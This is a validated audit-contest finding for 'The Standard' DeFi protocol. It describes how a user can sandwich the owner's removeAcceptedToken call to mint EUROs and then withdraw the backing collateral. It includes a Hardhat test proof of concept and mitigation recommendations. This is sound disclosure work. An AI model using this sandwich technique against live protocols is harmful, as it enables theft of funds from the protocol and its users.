The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: medium
Valid

One can sandwich a call to `TokenManager::removeAcceptedToken()` and end up with minted EUROs effectively backed by zero collateral

Summary

Malicious user can sandwich a call to TokenManager::removeAcceptedToken and end up with minted EUROs effectively backed by zero collateral.

Vulnerability Details

SmartVaultV3 depends on the token manager to get all the ERC20 tokens that are accepted tokens on the platform that can be used as collateral thanks to the following line. Inspecting the token manager on arbitrum scan, we notice that the token manager has a removeAcceptedToken method that effectively removes a token from the accepted tokens array thereby making this token inelligible to be used as collateral in the SmartVaultV3 contract. The below excerpt is the same both in TokenManagerMock.sol and the on-chain deployed TokenManager Contract

function removeAcceptedToken(bytes32 _symbol) external onlyOwner {
require(_symbol != NATIVE, "err-native-required");
for (uint256 i = 0; i < acceptedTokens.length; i++) {
if (acceptedTokens[i].symbol == _symbol) {
acceptedTokens[i] = acceptedTokens[acceptedTokens.length - 1];
acceptedTokens.pop();
emit TokenRemoved(_symbol);
}
}
}

The SmartVaultV3::removeAsset() method is used to remove all assets that might be in this vault's possesion, perhaps as a result of a call to the SmartVaultV3::swap() method. The important thing to do about this removeAsset() method is that, it permits to transfer an arbitrary amount of a certain token to an arbitrary address without any restrictions provided the vault owns enough of said token and said token is not a token that can be used as a collateral. In other words, the token is not in the famous acceptedTokens array of the token manager smart contract.

The vulnerability here lies in the fact that, the removeAcceptedToken method removes the token without any checks to know if there are vaults with open debt positions backed by this token.

In a situation wherein, for one reason or the other, the protocol administrators decide to remove a token from the list of accepted tokens (by calling tokenManager::removeAcceptedToken) for various reasons, for example:

A malicious user can sandwich this removeAcceptedToken call with 2 transactions ( say transactionA and transactionB) and end up with minted EUROs that's effectively backed by zero collateral.

POC

user sees a call to tokenManager.removeAcceptedToken in the mempool to remove token tokenA

He sandwiches it with 2 transactions

in transactionA, user adds as much tokenA as he owns and takes the maximum loan against this collateral.

Then tokenManager.removeAcceptedToken gets executed.

In transactionB, user then calls SmartVaultV3.removeAsset() for tokenA with as many tokens he added during transactionA.

add the below test in test/smartVault.js at line 106

it('Eating my cake and having it ;-)', async () => {
const Tether = await (await ethers.getContractFactory('ERC20Mock')).deploy('Tether', 'USDT', 6);
const USDTBytes = ethers.utils.formatBytes32String('USDT');
const clUsdUsdPrice = 100000000;
const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('USD / USD');
await ClUsdUsd.setPrice(clUsdUsdPrice);
await TokenManager.addAcceptedToken(Tether.address, ClUsdUsd.address);
// 1000 USDT
const value = 1000000000;
await Tether.mint(Vault.address, value);
let { collateral, maxMintable } = await Vault.status();
expect(getCollateralOf('USDT', collateral).amount).to.equal(value);
// transactionA mint max euros
const mintingFee = maxMintable.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
await Vault.connect(user).mint(user.address, maxMintable.sub(mintingFee));
// transaction that is being sandwiched
await TokenManager.removeAcceptedToken(ethers.utils.formatBytes32String('USDT'));
// transactionB removing all the asset that was initially backing the loan in transactionA
remove = Vault.connect(user).removeAsset(Tether.address, value, user.address);
await expect(remove).not.to.be.reverted;
await expect(remove).to.emit(Vault, 'AssetRemoved').withArgs(Tether.address, value, user.address);
const vaultTetherBalance = await Tether.balanceOf(Vault.address)
expect(vaultTetherBalance).to.be.eq(0);
const userTetherBalance = await Tether.balanceOf(user.address)
expect(userTetherBalance).to.be.eq(value);
const userEUROSBalance = await EUROs.balanceOf(user.address)
expect(userEUROSBalance).to.be.eq(maxMintable.sub(mintingFee));
});

Impact

User can sandwich a call to tokenManager::removeAcceptedToken and mint EUROs that is effectively backed by zero collateral.

Tools Used

Fuzzing with Foundry

Recommendations

There are 2 scenarios:

Scenario one, in normal conditions, the removal of an accepted token should not be immediate but rather have a grace period during which, the protocol indicates on-chain the intention to remove a certain token that was previously accepted as collateral token on the platform. During this period, it's not possible to take out new loans backed by said token and users are urged to ensure their open positions are backed by enough supported tokens to not be liquidated come end of the grace period. Perhaps by swaping their said token for a supported token or by increasing their collateral for a supported token.

Scenario Two, in situations of emergency ( perhaps a token price flash crash ), removing said token from the accepted tokens list should disable removing this token's balance using the SmartVaultV3::removeAsset method until further notice or in a more forceful manner, removing said token from the accepted tokens list automatically converts all the collateral in this token held in the vault to another token that is still supported on the protocol.

Let's also note that, due to the immediacy of the removeAcceptedToken method, this might cause open loan positions to be undercollateralised and immediately liquidated ( perhaps by bots as is the case nowadays for almost all the liquidations ) without offering the owners any recourse to try and save their open loan position from not being liquidated. This issue is resolved by the grace period explained in scenario one.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

remove-token

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.